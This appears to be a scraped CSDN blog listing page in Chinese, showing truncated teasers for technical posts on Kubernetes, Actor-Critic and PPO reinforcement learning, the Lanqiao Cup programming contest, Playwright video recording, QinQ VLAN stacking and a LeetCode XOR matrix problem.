&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录

互联网十万个为什么之 什么是Kubernetes(K8s)?

Kubernetes&#xff08;通常简称为K8s&#xff09;是一款用于自动部署、扩缩和管理容器化应用程序的开源容器编排平台。Kubernetes已发展为现代企业实现敏捷开发、快速迭代、资源优化及灵活扩展的关键技术组件之一。它拥有庞大的开源社区和丰富的生态系统。围绕Kubernetes已经形…

深度强化学习 Actor-Critic演员评论家 PPO

将策略(Policy Based)和价值(Value Based)相结合的方法&#xff1a;Actor-Critic算法&#xff0c;在强化学习领域最受欢迎的A3C算法&#xff0c;DDPG算法&#xff0c;PPO算法等都是AC框架。 一、Actor-Critic算法简介 Actor-Critic从名字上看包括两部分&#xff0c;演员(Actor…

《拯救大学生课设不挂科第四期之蓝桥杯是什么?我是否要参加蓝桥杯?选择何种语言?如何科学备赛?方法思维教程》【官方笔记】

背景&#xff1a; 有些同学在大一或者大二可能会被老师建议参加蓝桥杯&#xff0c;本视频和文章主要是以一个过来人的身份来给与大家一些思路。 比如蓝桥杯是什么&#xff1f;我是否要参加蓝桥杯&#xff1f;参加蓝桥杯该选择何种语言&#xff1f;如何科学备赛&#xff1f;等…

《最新出炉》系列入门篇-Python+Playwright自动化测试-41-录制视频

宏哥微信粉丝群&#xff1a;https://bbs.csdn.net/topics/618423372 有兴趣的可以扫码加入 1.简介 上一篇讲解和分享了录制自动生成脚本&#xff0c;索性连带录制视频也一股脑的在这里就讲解和分享了。今天我们将学习如何使用Playwright和Python来录制浏览器操作的视频&#…

19 QinQ技术(Vlan两层封装)

1 什么是QinQ&#xff1f; QinQ&#xff08;802.1Q-in-802.1Q&#xff09;&#xff0c;也叫做VLAN Stacking或Double VLAN&#xff0c;由IEEE 802.1ad标准定义&#xff0c;**是一项扩展VLAN空间的技术&#xff0c;**通过在802.1Q标签报文的基础上再增加一层802.1Q的Tag来达到扩…

1738. 找出第 K 大的异或坐标值

题目&#xff1a; 给你一个二维矩阵 matrix 和一个整数 k &#xff0c;矩阵大小为 m x n 由非负整数组成。 矩阵中坐标 (a, b) 的 值 可由对所有满足 0 < i < a < m 且 0 < j < b < n 的元素 matrix[i][j]&#xff08;下标从 0 开始计数&#xff09;执行异…